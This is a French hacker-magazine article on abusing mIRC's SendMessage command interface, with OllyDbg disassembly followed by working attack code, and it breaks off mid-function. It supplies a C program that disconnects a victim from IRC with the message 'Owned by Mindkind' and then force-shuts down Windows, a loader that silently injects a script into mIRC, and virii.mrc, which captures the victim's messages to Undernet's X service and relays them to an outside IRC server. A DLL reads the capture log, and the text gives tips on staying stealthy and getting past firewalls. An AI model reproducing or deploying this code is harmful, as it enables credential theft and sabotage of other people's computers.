SS:[EBP-14] ; | PUSH ECX ; |pNewState PUSH 0 ; |DisableAllPrivileges = FALSE PUSH DWORD PTR SS:[EBP-4] ; |hToken CALL <JMP.&ADVAPI32.AdjustTokenPrivilege>; \AdjustTokenPrivileges CALL <JMP.&KERNEL32.GetLastError> ; [GetLastError TEST EAX,EAX JE SHORT mIRC_hig.004011AE EAX,EAX JMP SHORT mIRC_hig.004011C4 PUSH 0 ; /Reserved = 0 PUSH 5 ; |Options = EWX_SHUTDOWN|EWX_FORCE CALL <JMP.&USER32.ExitWindowsEx> ; \ExitWindowsEx TEST EAX,EAX JNZ SHORT mIRC_hig.004011BF XOR EAX,EAX JMP SHORT mIRC_hig.004011C4 MOV EAX,1 MOV ESP,EBP POP EBP RETN J'ai enlevé les offsets et les opcodes qu'affiche OllyDbg simplement pour respecter un formatage de 80 caractères de large, voilà. Mais ce n'est pas ce que nous cherchons puisque nous l'avons déjà codé. Ce que nous cherchons c'est comment peut-on interagir avec mIRC via un programme externe. Nous parcourons donc le code à la recherche d'appel à des fonctions qui pourraient être des pistes intéressantes. JACKPOT!!!!! Voilà qui est fortement intéressant: [004011C8] PUSH EBP MOV EBP,ESP PUSH EBX PUSH ESI MOV ESI,DWORD PTR SS:[EBP+8] MOV EBX,DWORD PTR SS:[EBP+C] PUSH mIRC_hig.0040913C ; /Arg2 = 0040913C ASCII "/amsg OH NOOOOOO !!!!" PUSH EBX ; |Arg1 CALL mIRC_hig.004022F8 ; \mIRC_hig.004022F8 ADD ESP,8 PUSH 0 ; /lParam = 0 PUSH 1 ; |wParam = 1 PUSH 4C8 ; |Message = MSG(4C8) PUSH ESI ; |hWnd CALL <JMP.&USER32.SendMessageA> ; \SendMessageA PUSH mIRC_hig.00409152 ; /Arg2 = 00409152 ASCII "/quit Suicide. (edcba)" PUSH EBX ; |Arg1 CALL mIRC_hig.004022F8 ; \mIRC_hig.004022F8 ADD ESP,8 PUSH 0 ; /lParam = 0 PUSH 1 ; |wParam = 1 PUSH 4C8 ; |Message = MSG(4C8) PUSH ESI ; |hWnd CALL <JMP.&USER32.SendMessageA> ; \SendMessageA MOV EAX,1 POP ESI POP EBX POP EBP RETN 8 [00401218] PUSH EBP MOV EBP,ESP PUSH EBX PUSH ESI PUSH mIRC_hig.00409169 ; /MapName = "mIRC" PUSH 1000 ; |MaximumSizeLow = 1000 PUSH 0 ; |MaximumSizeHigh = 0 PUSH 4 ; |Protection = PAGE_READWRITE PUSH 0 ; |pSecurity = NULL PUSH -1 ; |hFile = FFFFFFFF CALL <JMP.&KERNEL32.CreateFileMappingA> ; \CreateFileMappingA MOV EBX,EAX TEST EBX,EBX JE SHORT mIRC_hig.0040126D PUSH 0 ; /MapSize = 0 PUSH 0 ; |OffsetLow = 0 PUSH 0 ; |OffsetHigh = 0 PUSH 6 ; |AccessMode = 6 PUSH EBX ; |hMapObject CALL <JMP.&KERNEL32.MapViewOfFile> ; \MapViewOfFile MOV ESI,EAX TEST ESI,ESI JNZ SHORT mIRC_hig.00401256 PUSH EBX ; /hObject CALL <JMP.&KERNEL32.CloseHandle> ; \CloseHandle JMP SHORT mIRC_hig.0040126D PUSH ESI ; /lParam PUSH mIRC_hig.004011C8 ; |Callback = mIRC_hig.004011C8 CALL <JMP.&USER32.EnumWindows> ; \EnumWindows PUSH ESI ; /BaseAddress CALL <JMP.&KERNEL32.UnmapViewOfFile> ; \UnmapViewOfFile PUSH EBX ; /hObject CALL <JMP.&KERNEL32.CloseHandle> ; \CloseHandle POP ESI POP EBX POP EBP RETN On remarque que les API SendMessage, CreateFileMapping, MapViewOfFile et EnumWindows sont utilisés dans la transmission des commandes que l'on désire que mIRC exécute. Maintenant il ne reste plus qu'à comprendre comment sont utilisées ces fonctions. Première étape à la compréhension et résolution de problème c'est de savoir ce que fait chaque partie du puzzle. Donc on doit savoir, qu'est-ce que SendMessage fait exactement, même chose pour CreateFileMapping et les autres API en jeux. L'API EnumWindows énumère tous les "top-level windows" et ignore les "child windows". Pour chaque fenêtre, elle passe le handle cette dernière à une fonction callback définie par l'utilisateur. Dans la situation actuelle, la fonction callback est située à l'adresse suivante: 004011C8. Qui se trouve à être là où l'on trouve les chaines que l'on veut envoyer à mIRC et où se trouvent les deux appels à la fonction SendMessage. La fonction SendMessage envoie un message spécifié à une ou plusieurs fenêtres, le message étant une valeur numérique. Les messages système ont une valeur inférieure à WM_USER-1, donc de 1023 (1024 étant la valeur de WM_USER). Une application peut aussi définir c'est propre message en autant qu'elle utilise les valeurs supérieures ou égales à WM_USER. Exemple de message système: WM_LBUTTONDOWN, WM_RBUTTONDOWN, WM_KEYDOWN, WM_DESTROY, WM_COMMAND, ... Or dans notre cas présent, on constate que le message envoyé via SendMessage dans le programme ci-dessus à la valeur 4C8 qui est la représatation hexadécimal de la valeur 1224. Donc, le programme communique avec mIRC via un message probablement défini par mIRC. Puisque la valeur du message est de 1224 (4C8), ce message ne fait pas référence à un message système déjà existant, mais probablement à un message définie par l'application ciblée, dans notre cas mIRC. Il nous faut trouver aussi que représentent les deux autres paramètres de l'API SendMessage. Leur valeur respective étant 1 et 0. Nous y reviendrons plus tard. CreateFileMapping est une fonction qui permet de créer un fichier qui pourra être partagé (lecture et/ou écriture) entre processus. C'est une façon, mais efficace de partager des données entre processus. CreateFileMapping crée, si le fichier n'existe pas déjà, ou ouvre un fichier selon le nom spécifié. Or dans le listing ci-dessus, la fonction CreateFileMapping tante que créer ou d'ouvrir un fichier sous le nom de "mIRC". Il se pourrait donc, sachant qu'un fichier mappé peut être partagé entre processus, que mIRC créer ce fichier lui-même lors de son exécution. MapViewOfFile permet à une application d'avoir accès a un fichier mappé, préalablement ouvert avec OpenFileMapping ou CreateFileMapping, dons son propre espace mémoire. La fonction retourne l'adresse du buffer que nous pourrons utiliser pour écrire les données dans le fichier mappé. Vous avez peut-être remarqué, et si ce n'est pas le cas je vous en informe à l'instant, que les commandes que nous voulons que mIRC exécute sont passé en paramètre a une fonction locale du programme se trouvant à l'offset suivant 004022F8. Je ne vous montrerai pas le code mais en gros, elle copie la chaine spécifiée dans un buffer. Ce buffer se trouve à être le fichier mappé dont on à obtenu l'adresse mémoire via MapViewOfFile, comme expliqué auparavant. Il ne nous reste plus qu'à vérifier si mIRC crée bel et bien un fichier mappé nommé mIRC. Il existe probablement de meilleures façons ou des outils spécifiques qui nous permettraient d'avoir la liste des fichiers ouverts par un processus. Mais nous allons utiliser encore notre bon ami, Ollydbg. Alors, on ouvre mIRC avec notre cher débuggeur. Et on recherche les fonctions CreateFileMapping ou OpenFileMapping. KABOUM!! [004E1D40] SUB ESP,8 PUSH EBX PUSH EBP MOV DWORD PTR SS:[ESP+8],EDX MOV EBX,ECX CALL mIRC.004E9750 MOV EBP,EAX TEST EBP,EBP JNZ SHORT mIRC.004E1D5E POP EBP POP EBX ADD ESP,8 RETN 4 TEST EBX,EBX JE SHORT mIRC.004E1D6A CMP EBX,DWORD PTR DS:[5C6688] JNZ SHORT mIRC.004E1D6D MOV EBX,DWORD PTR SS:[EBP] PUSH ESI PUSH EDI mIRC.00594810 ; /MappingName = "mIRC" PUSH 1 ; |InheritHandle = TRUE PUSH 0F001F ; |Access = F001F CALL DWORD PTR DS:[<&KERNEL32.OpenFileMa>; \OpenFileMappingA MOV ESI,EAX TEST ESI,ESI MOV DWORD PTR SS:[ESP+14],ESI JE SHORT mIRC.004E1DAA PUSH 0 ; /MapSize = 0 PUSH 0 ; |OffsetLow = 0 PUSH 0 ; |OffsetHigh = 0 PUSH 0F001F ; |AccessMode = F001F PUSH ESI ; |hMapObject CALL DWORD PTR DS:[<&KERNEL32.MapViewOfF>; \MapViewOfFile MOV EDI,EAX TEST EDI,EDI JNZ SHORT mIRC.004E1DB6 PUSH ESI ; /hObject CALL DWORD PTR DS:[<&KERNEL32.CloseHandl>; \CloseHandle POP EDI POP ESI POP EBP XOR EAX,EAX POP EBX ADD ESP,8 RETN 4 MOV EAX,DWORD PTR SS:[ESP+10] XOR ESI,ESI CMP EAX,4C8 JNZ SHORT mIRC.004E1DF8 MOV EAX,DWORD PTR SS:[ESP+1C] TEST AL,1 JE SHORT mIRC.004E1DD8 AND AL,4 NEG AL SBB EAX,EAX AND EAX,5 MOV ESI,EAX JMP SHORT mIRC.004E1DE5 TEST AL,2 JE SHORT mIRC.004E1DE5 MOVZX ESI,AL AND ESI,4 OR ESI,3 PUSH EBP PUSH 0 PUSH 0 PUSH ESI PUSH 0 MOV EDX,EDI MOV ECX,EBX CALL mIRC.0043F030 JMP SHORT mIRC.004E1E0E PUSH EBP ; /Arg7 PUSH 0 ; |Arg6 = 00000000 PUSH 0 ; |Arg5 = 00000000 PUSH 0 ; |Arg4 = 00000000 PUSH 0 ; |Arg3 = 00000000 PUSH 0 ; |Arg2 = 00000000 PUSH 0 ; |Arg1 = 00000000 MOV EDX,EDI ; | MOV ECX,EBX ; | CALL mIRC.004A0030 ; \mIRC.004A0030 TEST EAX,EAX JE SHORT mIRC.004E1E17 MOV ESI,1 PUSH EDI ; /BaseAddress CALL DWORD PTR DS:[<&KERNEL32.UnmapViewO>; \UnmapViewOfFile MOV EAX,DWORD PTR SS:[ESP+14] PUSH EAX ; /hObject CALL DWORD PTR DS:[<&KERNEL32.CloseHandl>; \CloseHandle POP EDI MOV EAX,ESI POP ESI POP EBP POP EBX ADD ESP,8 RETN 4 On a trouvé. La fonction OpenFileMapping est présente. Cela nous apprend que mIRC ne crée pas ce fichier au démarrage. Donc, il doit probablement le lire lorsqu'il reçoit un message via SendMessage(). Maintenant on pourrait débugger mIRC afin de savoir à quoi servent les arguments que l'on envoie via SendMessage et pourquoi on écrit les données dans un fichier partagé. Même si l'on peut imaginer que le message envoyé par SendMessage informe mIRC qu'il y a des données à être lu dans le fichier mappé. Mais comme il semblerait que ce soit une fonctionnalité intégrée dans mIRC, il est fort à parier que nous trouverons les informations manquantes dans le fichier d'aide. Petite recherche avec le mot SendMessage nous amène sur un page nous expliquant comment d'autres processus peuvent communiquer avec mIRC. Voici la traduction de la page d'aide trouvé dans le fichier mirc.hlp: SENDMESSAGE Les applications peuvent désormais utiliser SendMessage() pour communiquer avec mIRC. EXECUTER DES COMMANDES L'appel suivant de la fonction SendMessage() informe mIRC qu'il doit exécuter la commande spécifié. SendMessage(mHwnd, WM_MCOMMAND, cMethod, 0L) mHwnd - le handle de la fenêtre principal de mIRC, ou la fenêtre d'un 'Channel', d'un 'Query', etc. WM_MCOMMAND - qui doit être définie comme étant WM_USER + 200 cMethod - comment mIRC doit traiter le message, comme: 1 = si il était tapé dans un 'editbox' 2 = si il était tapé dans un 'editbox', 'send as plain text' 4 = utilise la protection contre le flood d'mIRC si activé, peut être employé avec 1 ou 2. EVALUER LES IDENTIFIANTS ET LES VARIABLES L'appel suivant à la fonction SendMessage() informe mIRC qu'il doit évaluer le contenu de toutes les lignes spécifié. SendMessage(mHwnd, WM_MEVALUATE, 0, 0L) mHwnd - le handle de la fenêtre principal de mIRC, ou la fenêtre d'un 'Channel', d'un 'Query', etc. WM_MEVALUATE - doit être définie comme étant WM_USER + 201 FICHERS MAPPÉS Les applications qui envoient ses messages doivent créer un fichier mappé nommé mIRC avec CreateFileMapping(). Quand mIRC reçois les messages précédents, il va ouvrir ce fichier et utiliser les données qu'il contient pour exécuter la commande ou l'évaluation. Dans le cas d'une évaluation, mIRC va écrire le résultat dans le fichier mappé. Le fichier mappé doit avoir un gosseur d'au moins 1024 octects. Pour prévenir les accès multiples au fichier mappé, votre code doit vérifier si le fichier existe ou non avant de l'utiliser. Si il existe, vous devriez assumer que ce fichier est utilisé par un autre programme et réessayer plus tard. Voilà qui confirme notre hypothèse. N'est-ce pas merveilleux? Passons au code maintenant. ==---------------------- test3.cpp ----------------------==
#define WIN32_LEAN_AND_MEAN #include <windows.h> #include <tchar.h> // Generic-Text Mappings #define MAX_CNAME_SIZE 512 #define MAX_FILEMAPPING_SIZE_LOW 1024 TCHAR g_tcsClassName[] = _T("mIRC"); BOOL CALLBACK ewcallback(HWND hwnd, LPARAM lParam); BOOL myshutdown(); int main() { EnumWindows(&ewcallback,(LPARAM)g_tcsClassName); myshutdown(); return 0; } BOOL CALLBACK ewcallback(HWND hwnd, LPARAM lParam) { TCHAR tscCName[MAX_CNAME_SIZE]; TCHAR tscMsg[] = _T("/.quit Damn it! Owned by Mindkind"); HANDLE hFile; LPVOID lpBaseAddress; GetClassName(hwnd, tscCName,MAX_CNAME_SIZE); if (_tcscmp(tscCName,(TCHAR*)lParam) == 0) { hFile = CreateFileMapping( INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, MAX_FILEMAPPING_SIZE_LOW, tscCName ); if ( hFile ) { lpBaseAddress = MapViewOfFile(hFile,FILE_MAP_WRITE,0,0,0); if (lpBaseAddress) { // On copy notre chaine dans le fichier... CopyMemory(lpBaseAddress,tscMsg,_tcslen(tscMsg)); // On avertit mIRC qu'il y a des données dans le fichier SendMessage(hwnd,WM_USER+200,1,0); // unmap la view UnmapViewOfFile(lpBaseAddress); } CloseHandle(hFile); } } return TRUE; // doit retourner TRUE si l'on veut que EnuWindows continue // l'énumération des fenêtres. } BOOL myshutdown() { HANDLE hToken; TOKEN_PRIVILEGES tp; DWORD dwRet; // demande un token if ( !OpenProcessToken( GetCurrentProcess(), // handle du processus courant TOKEN_ADJUST_PRIVILEGES, &hToken ) ) { return FALSE; } // recherche le LUID du privilège SE_SHUTDOWN_NAME if ( !LookupPrivilegeValue( NULL, // recherche sur le système local SE_SHUTDOWN_NAME, &tp.Privileges[0].Luid ) ) { CloseHandle(hToken); return FALSE; } tp.PrivilegeCount = 1; // un seul privilège a configuré tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // ajust le token selon les nouveaux privilèges demandés if ( !AdjustTokenPrivileges( hToken, FALSE, // ne PAS désactiver TOUS les privilèges &tp, 0, // comme PreviousState est NULL, on // mets 0 (PTOKEN_PRIVILEGES)NULL, // PreviousState 0 ) ) // 0 puisque PreviousState est NULL { CloseHandle(hToken); return 0; } dwRet = GetLastError(); // backup de GetLastError() puisque l'on appel // CloseHandle. Cette dernière modifie le contenu // de GetLastError(); CloseHandle(hToken); if (dwRet != ERROR_SUCCESS) return FALSE; ExitWindowsEx( EWX_SHUTDOWN|EWX_FORCE, 0 ); return TRUE; }
Voilà, pour chaque instance de mIRC, notre programme va déconnecter la victime du serveur avec comme message "Damn it! Owned by Mindkind". Une fois que EnumWindows a terminé, le programme va forcer Windows à redémarrer. 5. Play time! Je pense personnellement que cette section est la plus intéressante. Maintenant que nous connaissons cette fonctionnalité, il ne nous reste plus qu'à l'exploité de façon plus agressive, tout en restant furtif, contrairement à ce que nous avons fait jusqu'à maintenant dans l'exemple précédent. Comme nous l'avons constaté, nous pouvons faire exécuter n'importe quel commande à mIRC. Nous pouvons donc lui dire de charger un script en particulier, disons virii.mrc. Pour indiquer à mIRC de charger un script, nous devons utiliser la commande 'load' avec comme options les switches '-rs' et spécifier le nom du fichier script à charger. Dans notre exemple ce sera: /.load -rs virii.mrc Nous exécutons la commande 'load' en mode silencieux (/.) sinon la commande affiche qu'elle à chargé un fichier nommé virii.mrc. Vous devez prendre note que le fichier virii.mrc ne se retrouvera probablement pas dans le répertoire de mIRC, vous devez donc spécifier le chemin complet du fichier. <IMPORTANT> La majorité des utilisateurs qui possèdent un par-feu pour se protéger ne prenne pas le temps de créer les règles, ils ne font que cliquer sur 'ok' ou 'accept' losrque leur par-feu leur signala qu'une application tente de se connecter à internet. Et ils sont encore moins suspicieux s’ils connaissent l'application. Les autres, ceux qui ont pris le temps de faire des règles les font trop souples. Exemple, vous voulez autoriser mIRC à se connecter à un serveur IRC. Je vous demande d'être franc ici, est-ce que vous spécifiez quels serveurs vous autorisez ou vous dis simplement: n'importe quel ip tant que le port de l'hôte soit entre 6666-7000 ? Je suis près à mettre ma main au feu que la quasi totalité opte pour la deuxième option. Gardez cette pensée en tête pour le reste de cet article. </IMPORTANT> Le script virii tente de se connecter à un serveur IRC via les sockets mIRC à chaque connexion a un serveur IRC effectué par la victime. Si le serveur choisi par la victime est le même que notre serveur, le script n'essaie pas de se connecter à ce dernier via les sockets mIRC. Une fois la victime connectée à un serveur, le script lance la capture des données envoyées et reçues. La commande 'debug', fournie par mIRC, nous permet de voir les données crues (RAW), telles qu'elles sont envoyées par le serveur avant que mIRC ait la chance de les traiter. On voit aussi les données envoyé par mIRC une fois tous les traitements faits. Aussi tôt que le script intercept des données qu'il recherche, toutes les données que le client envoie à 'X' ou à 'X@channels.undernet.org', et les copy sur un canal spécifique sur notre serveur IRC. ==------------------------- virii.mrc ------------------------==
; fonction callback ; /help /debug pour plus d'information alias roguedbg { /.tokenize 32 $1- if ($0 >= 4) { if (($1 == ->) && (($4 == x) || ($4 == x@channels.undernet.org))) { /.roguesend PRIVMSG #virii $+(:,$2-) } } return } ; fonction rogueconnect alias -l rogueconnect { ; vérifie si on est déjà connecté... if ($sock(roguesocket).mark) return ; sinon est-ce que la victime est connectée sur notre serveur? if ($network == undernet) return if ($server iswm *.undernet.org) return ; non? Alors, on se connect... /.sockopen roguesocket us.undernet.org 6667 /.sockmark roguesocket connecting } ; fonction roguesend alias -l roguesend { ; est-ce que nous avons des données à envoyé? if (!$1-) return ; oui? est-ce que le client est sur notre serveur? if ($network == undernet) { /.raw $1- | return } if ($server iswm *.undernet.org) { /.raw $1- | return } ; non? est-ce que notre socket est ouvert? if (!$sock(roguesocket).mark) return ; oui? ok on envoi les données... /.sockwrite -tn roguesocket $1- } ; fonction rogueparseircd ; attend le MOTD pour confirmer la connexion au serveur ; répond au PING du serveur alias -l rogueparseircd { ;vérifie pour 'RPL_ENDOFMOTD' (376) ou 'ERR_NOMOTD' (422) if (($2 == 376) || ($2 == 422)) /.sockmark roguesocket connected ;vérifie pour PING if ($1 == PING) /.roguesend PONG $2 } ; pour chaque connexion à un serveur on *:connect:{ ; si notre fenêtre personnalisée est présente, nous la créeons if (!$window(@debug).title) /.window -Bhk0n @debug ; on l'appel pour être sur qu'à chaque connexion client nous avons notre ; connexion à notre serveur rogue /.rogueconnect ; on lance la capture des données /.debug -i @debug roguedbg } on *:sockopen:roguesocket:{ ; vérifie que la connexion n'a pas échoué if ($sockerr > 0) return ; ; Random 'nickname' ; var %i = 1 var %nicktmp while (%i <= 9) { if ($calc(%i % 2) = 0) %nicktmp = $+(%nicktmp,$chr($rand($asc(0),$asc(9)))) else %nicktmp = $+(%nicktmp,$chr($rand($asc(a),$asc(Z)))) inc %i } /.sockwrite -tn $sockname NICK %nicktmp ; ; Random 'user' et 'fullname' + invisible (8) ; %i = 1 var %identtmp while (%i <= 9) { %identtmp = $+(%identtmp,$chr($rand($asc(a),$asc(z)))) inc %i } /.sockwrite -tn $sockname USER %identtmp 8 * $+(:,%identtmp) } on *:sockread:roguesocket:{ if ($sockerr > 0) return :nextread sockread %temp if ($sockbr == 0) return if (%temp != $null) { /.rogueparseircd %temp } goto nextread }
Vous devez placer le fichier virii.mrc dans la racine de votre disque C pour que le programme suivant fonction. Si vous le placez ailleurs, vous devez changer le chemin d'accès dans le code ci-dessous. -------------------------- test4.cpp ------------------------
#define WIN32_LEAN_AND_MEAN #include <windows.h> #include <tchar.h> // Generic-Text Mappings #define MAX_CNAME_SIZE 512 #define MAX_FILEMAPPING_SIZE_LOW 1024 TCHAR g_tcsClassName[] = _T("mIRC"); BOOL CALLBACK ewcallback(HWND hwnd, LPARAM lParam); int main() { EnumWindows(&ewcallback,(LPARAM)g_tcsClassName); return 0; } BOOL CALLBACK ewcallback(HWND hwnd, LPARAM lParam) { TCHAR tscCName[MAX_CNAME_SIZE]; TCHAR tscMsg[] = _T("/.load -rs c:\\virii.mrc"); HANDLE hFile; LPVOID lpBaseAddress; GetClassName(hwnd, tscCName,MAX_CNAME_SIZE); if (_tcscmp(tscCName,(TCHAR*)lParam) == 0) { hFile = CreateFileMapping( INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, MAX_FILEMAPPING_SIZE_LOW, tscCName ); if ( hFile ) { lpBaseAddress = MapViewOfFile(hFile,FILE_MAP_WRITE,0,0,0); if (lpBaseAddress) { // On copy notre chaine dans le fichier... CopyMemory(lpBaseAddress,tscMsg,_tcslen(tscMsg)); // On avertit mIRC qu'il y a des données dans le fichier SendMessage(hwnd,WM_USER+200,1,0); // unmap la view UnmapViewOfFile(lpBaseAddress); } CloseHandle(hFile); } } return TRUE; // doit retourner TRUE si l'on veut que EnuWindows continue // l'énumération des fenêtres. }
Très simple n'est-ce pas ? Je vous pris de tenir compte que ce script n'est pas 'foolproof' et que plusieurs améliorations peuvent et doivent être apporté. Mais je crois qu'il couvre bien l'idée générale. Bon, ce n'est pas très furtif comme méthode puisque la victime peut s'apercevoir qu'un script a été chargé et qu'une fenêtre a été créée. Un autre truc très intéressant que nous propose mIRC c'est la possibilité de charger des DLLs. Ceci nous donne une plus grande flexibilité et beaucoup plus de 'puissance'. Pour charger une DLL en mémoire, il faut que nous appelions une des fonctions contenues dans la DLL en question. Pour ce faire, il existe trois (3) commandes sous mIRC que l'on peut utiliser: /dll <filename> <procname> [data] $dll(filename,procname,data) $dllcall(filename,alias,procname,data) Les commandes ci-dessus ouvrent la DLL, appel la routine 'procname', et lui envoie les données spécifiées. '$dll()' peut retourner un valeur, comme n'importe quels identifiants. '$dllcall()' est multi-threaded donc il n'arrêtera pas l'exécution du script et va appeler l'alias spécifié aussitôt que la routine retourne. Les routines de la DLL qui seront appelées par mIRC doivent avoir le format suivant: int __stdcall procname( HWND mWnd, // le handle de la fenêtre principale de mIRC HWND aWnd, // le handle de la fenêtre dans laquelle la commande est // utilisé, il se peut que se ne soit la fenêtre // présentement active si la commande est exécutée par un // 'remote script'. char *data, // l'information que l'on souhaite envoyer à la DLL. // au retour, la DLL peut remplir cette variable avec // la commande qu'elle souhaite que mIRC exécute, si // désiré. char *parms, // paramètre de la commande, se trouvant dans 'data', que // l'on souhaite exécuté. BOOL show, // est FAUX si le préfix '.' était spécifié, sinon VRAI BOOL nopause // VRAI si mIRC est dans un routine critique et que la // DLL ne doit pas suspendre l'exécution de mIRC, ex: // la DLL de doit pas montrer un fenêtre de dialogue. ); NOTE: 'data' et 'parms' peuvent contenir chacun 900 caractères maximum. La DLL peut retourner un entier pour indiquer ce qu'elle veut que mIRC fasse: 0 - mIRC devrait arrêter (/halt) l'exécution 1 - mIRC devrait continuer l'exécution 2 - une commande est présente dans le champs 'data' que mIRC devrait exécuter et les paramètres, si présents, se trouve dans 'parms'. 3 - les données que l'identifiant '$dll()' devrait retourner. Par défaut, mIRC décharge la DLL une fois l'appel de la routine se termine. On peut donc spécifier à mIRC de garder la DLL chargé en mémoire en incluant un routine 'LoadDll() dans notre DLL, qui sera appelé par mIRC la première fois que mIRc chargera cette dernière. void __stdcall (*LoadDll)(LOADINFO*); typedef struct { DWORD mVersion; // version de mIRC dans le 'low' et 'high' mots // (words) HWND mHnd; // handle de la fenêtre principale de mIRC BOOL mKeep; // VRAI, par défaut, pour que mIRC garde la DLL chargé // après chaque appel. Mettre à FAUX si l'on veut que // mIRC la décharge après chaque appel // (fonctionnalité originale de mIRC). } LOADINFO; mIRC va automatiquement décharger toute DLL qui n'est pas utilisée depuis au moins 10 minutes, ou quand mIRC quittera. Nous pouvons définir une routine, 'UnloadDll()', qui sera appelé par mIRC avant de décharger la DLL pour que cette dernière puisse quitter proprement. int __stdcall (*UnloadDll)(int mTimeout); 'mTimeout' peut contenir les valeurs suivantes: 0 - UnloadDll() est appelé parce que la DLL est sur le point d'être déchargé dû à la commande '/dll -u' ou parce que mIRC est en court de fermeture. 1 - UnloadDll() est appelé parce que la DLL n'a pas été utilisée depuis au moins 10 minutes. La routine 'UnloadDll()' peut retourner zéro (0) pour garder la DLL chargé, ou un (1) pour permettre le déchargement de cette dernière. Il ne nous reste plus qu'à envoyer à mIRC les commandes suivantes: /.debug "C:\capture.log" /.dll "C:\virii.dll" initDll "C:\capture.log" Premièrement, nous disons à mIRC de capturer toute activité entrant ou sortant du client dans le fichier 'C:\capture.log'. Puis on lui demande de charger en mémoire la DLL 'virii.dll' et d'exécuter la fonction initDll qui se trouve à l'intérieur avec comme paramètre le nom du fichier de capture. Voici le code de la DLL en question: =------------------------- virii.c -----------------------=
#define WIN32_LEAN_AND_MEAN #include <windows.h> #include <tchar.h> // Generic-Text Mappings #define STRSAFE_NO_DEPRECATE #include <strsafe.h> // safer C library string routine ///////////////// // Defines // #define IDT_PARSEDATA 31337 ///////////////// // Variables // BOOL bInit = FALSE; // est-ce que la Dll a déjà été initialisée HWND hmIRC; // handle fenêtre principal mIRC UINT uTResult = 0; // SetTimer's return value TCHAR tscFileName[MAX_PATH]; // fichier de capture OVERLAPPED olstruct; // contien l'offset courant TCHAR *ptcsData; // buffer des données lu du fichier DWORD dwDataSize; // dimension du buffer des données ///////////////// // Structures // typedef struct { DWORD mVersion; // version de mIRC dans le 'low' et 'high' mots // (words) HWND mHnd; // handle de la fenêtre principale de mIRC BOOL mKeep; // VRAI, par défaut, pour que mIRC garde la DLL chargé // après chaque appel. Mettre à FAUX si l'on veut que // mIRC la décharge après chaque appel // (fonctionnalité originale de mIRC). } LOADINFO; ///////////////// // Fonctions // int WINAPI initDll(HWND,HWND,char*,char*,BOOL,BOOL); VOID CALLBACK ParseFile(HWND,UINT,UINT,DWORD); LPVOID VirtualReAlloc(LPVOID,SIZE_T); TCHAR *ltcschr(const TCHAR*,TCHAR); TCHAR *litotcs(int,TCHAR*); void DebugError(LPTSTR); ///////////////// // Da code // void WINAPI LoadDll(LOADINFO* linfo) { // copie le handle de la fenêtre principale de mIRC hmIRC = linfo->mHnd; } int WINAPI UnloadDll(int timeout) { // si mIRC est en court de fermeture OU que 'dll -u' à été applé if (!timeout) { // ... on arrête le timer if (uTResult) KillTimer(hmIRC, IDT_PARSEDATA); // ... on libère l'espace mémoire alloué if (ptcsData) VirtualFree(ptcsData,0,MEM_RELEASE); } return 0; } // notre fonction qui sera appelée via la commande 'dll' pour chargé la dll en // mémoire, initialiser les données et exécuter le timer int WINAPI initDll( HWND mWnd, HWND aWnd, char *data, char* parms, BOOL show, BOOL nopause) { int ilen; if (!bInit) { // initialisation var global hmIRC = (HANDLE)NULL; ZeroMemory((PVOID)&olstruct, sizeof(olstruct)); ptcsData = (TCHAR*)NULL; dwDataSize = 0; // copie le nom du fichier de capture ilen = lstrlen(_T(data))+1; lstrcpyn(tscFileName, _T(data), min(ilen,MAX_PATH)); bInit = TRUE; uTResult = SetTimer(hmIRC, // handle fenêtre principale mIRC IDT_PARSEDATA, // timer identifier 120000, // 120-second interval (TIMERPROC) ParseFile); // timer callback } // mIRC doit continuer son exécution normalement return 1; } // fonction callback que le timer va exécuté tout les X millisecondes VOID CALLBACK ParseFile( HWND hwnd, // handle to window for timer messages UINT message, // WM_TIMER message UINT idTimer, // timer identifier DWORD dwTime) // current system time { HANDLE hFile; TCHAR tcsBuffer[1025]; DWORD nbBytesRead; TCHAR *ptcsCLoc, *ptcsDataTemp; DWORD dwPos = 0; // ouverture du fichier hFile = CreateFile(tscFileName, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_RANDOM_ACCESS, NULL); if (hFile == INVALID_HANDLE_VALUE) { DebugError("CreateFile()"); return; } while (TRUE) { // initialise le buffer temporaire à zero ZeroMemory(tcsBuffer,1025); // lis un certains nombre de données dans le fichier ReadFile(hFile,tcsBuffer,1024,&nbBytesRead,&olstruct); if (!nbBytesRead) { DebugError("ReadFile()"); break; // EOF } // alloue ou réalloue la mémoire du buffer qui garde les données // entre chaque lecture if (!ptcsData) ptcsDataTemp = (TCHAR*)VirtualAlloc((LPVOID)NULL, nbBytesRead, MEM_RESERVE | MEM_COMMIT,PAGE_READWRITE); else ptcsDataTemp = (TCHAR*)VirtualReAlloc((LPVOID)ptcsData, dwDataSize+nbBytesRead); if (!ptcsDataTemp) break; // VirtualAlloc() ou VirtualReAlloc() à échoué ptcsData = ptcsDataTemp; // copie les données du buffer temporaire au buffer global CopyMemory(ptcsData+dwDataSize,tcsBuffer,nbBytesRead); // mise à jour de la dimension du buffer global dwDataSize += nbBytesRead; // garde l'offset courant en mémoire pour la prochaine lecture olstruct.Offset += nbBytesRead; } // pour chaque ligne (chaine délimitée par le caractère 'Newline') while (ptcsCLoc = ltcschr(ptcsData,_T('\n'))) { // calcule la longueur de la chaîne dwPos = (DWORD)(ptcsCLoc - ptcsData); // affiche la chaîne if (SUCCEEDED(StringCchCopyN(tcsBuffer,1024,ptcsData,dwPos))) { MessageBox(hmIRC,tcsBuffer,_T("moo"),MB_OK); } // déplace le reste des données au début du buffer MoveMemory(ptcsData,ptcsCLoc,dwDataSize-dwPos); // redimensionne le buffer ptcsDataTemp = (TCHAR*)VirtualReAlloc(ptcsData,dwDataSize-dwPos); // si VirtualReAlloc() réussie if (ptcsDataTemp) { // ... on garde la nouvelle adresse du buffer ptcsData = ptcsDataTemp; // .. on met à jour sa taille dwDataSize -= dwPos; } // sinon else // on met à zéro la fin du buffer ZeroMemory(ptcsData+(dwDataSize-dwPos), dwPos); } // on ferme le fichier CloseHandle(hFile); } // Comme j'utilise VirtualAlloc pour alloué de l'espace mémoire et que il ne // semble pas existé de fonction pour redimensionner de la mémoire dans la // famille des Virtual*, j'ai du en faire une moi-même. // // NOTE: // Cette fonction n'est pas très optimisée, et je crois qu'il y a un moyen de // gardé la même adresse de base mais je ne me suis pas vraiment arrêté la // dessus. LPVOID VirtualReAlloc( LPVOID lpAddress, SIZE_T dwSize) { LPVOID lpNewAddress; MEMORY_BASIC_INFORMATION mbi; lpNewAddress = (LPVOID)NULL; if 